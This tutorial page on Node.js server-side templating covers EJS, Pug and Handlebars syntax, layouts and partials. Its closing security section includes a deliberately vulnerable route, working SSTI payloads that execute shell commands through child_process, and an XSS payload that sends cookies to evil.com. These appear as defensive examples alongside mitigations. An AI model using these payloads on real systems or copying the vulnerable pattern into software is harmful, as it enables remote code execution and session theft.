Templating Engines - Server-Side Rendering
Table of Contents
- Why Server-Side Rendering Still Matters
- EJS : Embedded JavaScript
- Pug : Minimal Indentation-Based Syntax
- Handlebars : Logic-Less Templates
- Passing Data to Templates
- Layouts , Partials , Includes
- Security : SSTI and XSS via Unescaped Output
Why Server-Side Rendering Still Matters
Before SPAs took over , every web page was rendered on the server. Raw HTML strings concatenated with user data - a recipe for disaster that templating engines fixed by providing controlled interpolation , escaping , and reusable components
SSR is still the right call for:
- SEO-critical pages (search engines love HTML , hate JavaScript)
- Content-heavy sites (blogs , documentation , dashboards)
- Applications where first-load performance matters
- Any site where you don’t need a 2MB JavaScript bundle to display text
EJS : Embedded JavaScript
EJS lets you write HTML with <% %> tags for JavaScript control flow and <%= %> for escaped output
npm install ejs
const ejs = require('ejs')
const template = '<h1>Welcome back , <%= user.name %></h1>'
const html = ejs.render(template, { user: { name: 'ali' } })
// <h1>Welcome back , ali</h1>
Template file example - views/profile.ejs:
<!DOCTYPE html>
<html>
<head>
<title>Profile - <%= user.name %></title>
</head>
<body>
<h1>User Profile</h1>
<p>Email: <%= user.email %></p>
<% if (user.bio) { %>
<p>Bio: <%= user.bio %></p>
<% } else { %>
<p>No bio yet - lazy bastard</p>
<% } %>
<h2>Recent Posts</h2>
<ul>
<% posts.forEach(post => { %>
<li><%= post.title %> - <%= post.date %></li>
<% }) %>
</ul>
</body>
</html>
Server integration:
const http = require('node:http')
const fs = require('node:fs')
const ejs = require('ejs')
const template = fs.readFileSync('views/profile.ejs', 'utf-8')
const server = http.createServer((req, res) => {
const html = ejs.render(template, {
user: { name: 'mahmoud', email: 'mahmoud@example.com', bio: null },
posts: [
{ title: 'Exploiting XSS', date: '2026-01-15' },
{ title: 'Bypassing WAFs', date: '2026-02-20' }
]
})
res.writeHead(200, { 'Content-Type': 'text/html' })
res.end(html)
})
EJS tags:
<%- control flow (no output)<%=- escaped output (safe for HTML)<%-- unescaped output (DANGEROUS - raw HTML)<%#- comment (not rendered)%>- closing tag (with optional-for whitespace trimming)
Pug : Minimal Indentation-Based Syntax
Pug (formerly Jade) uses indentation instead of closing tags. Less typing , but one wrong space breaks everything
npm install pug
const pug = require('pug')
const html = pug.renderFile('views/index.pug', { title: 'Home', user: null })
views/index.pug:
doctype html
html
head
title= title
link(rel='stylesheet', href='/style.css')
body
if user
h1 Welcome back , #{user.name}
a(href='/logout') Logout
else
h1 Hello , stranger
a(href='/login') Login
ul
each post in posts
li: a(href=`/posts/${post.id}`)= post.title
Pug gotchas that will waste your time:
- Indentation must be consistent - tabs vs spaces matters
- Attributes go in parentheses
a(href='/x') - Text after tags uses a space:
h1= variablevsh1 Static text #{}interpolation inside text ,= variablefor tag content:for inline tags:li: a(href='#')=<li><a href="#">
Handlebars : Logic-Less Templates
Handlebars enforces logic-less templates - no arbitrary JavaScript , only built-in helpers
npm install handlebars
const Handlebars = require('handlebars')
const template = Handlebars.compile(`
<h1>{{title}}</h1>
{{#if user}}
<p>Welcome , {{user.name}}</p>
{{else}}
<p>Please log in</p>
{{/if}}
<ul>
{{#each items}}
<li>{{this}}</li>
{{/each}}
</ul>
`)
const html = template({
title: 'Dashboard',
user: { name: 'tom' },
items: ['Recon', 'Exploit', 'Pivot']
})
Handlebars helpers you’ll actually use:
{{variable}}- escaped output{{{variable}}}- unescaped output (DANGEROUS){{#if condition}}...{{/if}}- conditional{{#each array}}...{{/each}}- iteration (use{{this}}inside){{#unless condition}}...{{/unless}}- inverted conditional{{> partialName}}- include partial
Registering custom helpers:
Handlebars.registerHelper('formatDate', function(date) {
return new Date(date).toLocaleDateString()
})
// {{formatDate post.createdAt}}
Passing Data to Templates
The data object you pass becomes the template’s variable scope:
// EJS
const html = ejs.render(template, { foo: 'bar', items: [1,2,3] })
// template sees: foo , items
// Pug
const html = pug.renderFile('view.pug', { foo: 'bar' })
// template sees: foo
// Handlebars
const html = template({ foo: 'bar' })
// template sees: foo
Functions in template data:
ejs.render(template, {
formatPrice: (n) => `$${n.toFixed(2)}`,
items: [{ price: 29.99 }, { price: 49.99 }]
})
<!-- template -->
<% items.forEach(item => { %>
<p><%= formatPrice(item.price) %></p>
<% }) %>
Context awareness: Handlebars changes scope inside {{#each}} - {{this}} refers to the current item , not the root data. Access root with {{@root.variable}}
Layouts , Partials , Includes
EJS includes:
<!-- views/layout.ejs -->
<!DOCTYPE html>
<html>
<head><title><%= title %></title></head>
<body>
<%- include('partials/header', { user }) %>
<%- body %>
<%- include('partials/footer') %>
</body>
</html>
<!-- views/partials/header.ejs -->
<header>
<nav>
<% if (user) { %>
<span><%= user.name %></span>
<% } %>
</nav>
</header>
Pug includes and inheritance:
//- views/layout.pug
doctype html
html
head
block title
title Default Title
block styles
body
block content
//- views/page.pug
extends layout
block title
title Custom Page
block content
h1 This is the page content
include partials/card
Handlebars partials:
Handlebars.registerPartial('header', `
<header>
<h1>{{siteName}}</h1>
</header>
`)
// usage in template:
// {{> header}}
Security : SSTI and XSS via Unescaped Output
Server-Side Template Injection (SSTI) is the showstopper - when user input goes into template rendering logic instead of being passed as data , an attacker can execute arbitrary code on your server
// VULNERABLE - rendering user input as a template
app.get('/render', (req, res) => {
const html = ejs.render(req.query.template, {}) // catastrophic
res.send(html)
})
// attacker sends: ?template=<%= process.env %>
// now they see all your environment variables + secrets
SSTI payload examples:
- EJS:
<%= global.process.mainModule.require('child_process').execSync('id') %> - Pug:
#{global.process.env} - Handlebars:
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.split "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}{{#each conslist}}{{#with (string.split.apply 0 codelist)}}{{this}}}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}
Mitigations:
- Never let users control template names , paths , or content
- Never pass user input as template source - only as data
- If users need customization , use a safe markup language (Markdown) with strict rendering
// SAFE - user input is data , not template
const html = ejs.render('<p><%= userMessage %></p>', {
userMessage: req.query.message // escaped by <%= %>
})
XSS via unescaped output:
// DANGEROUS - unescaped output renders raw HTML
<%- userProvidedContent %>
// attacker sends: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
// now you got pwned
EJS: <%= %> escapes , <%- %> does not
Handlebars: {{ }} escapes , {{{ }}} does not
Pug: #{} escapes , !{} does not
Rule of thumb: Never use unescaped output (<%- , {{{ , !{}) unless you have explicitly sanitized the content with a library like DOMPurify (server-side) or similar. And even then , think twice
// if you MUST render user HTML , sanitize with an HTML sanitizer:
const createDOMPurify = require('dompurify')
const { JSDOM } = require('jsdom')
const window = new JSDOM('').window
const DOMPurify = createDOMPurify(window)
const safe = DOMPurify.sanitize(userContent) // strips script tags , event handlers
prerequisites
web_05_sessions.md - Session data , user context for template personalization
next => web_07_static
Posted · Updated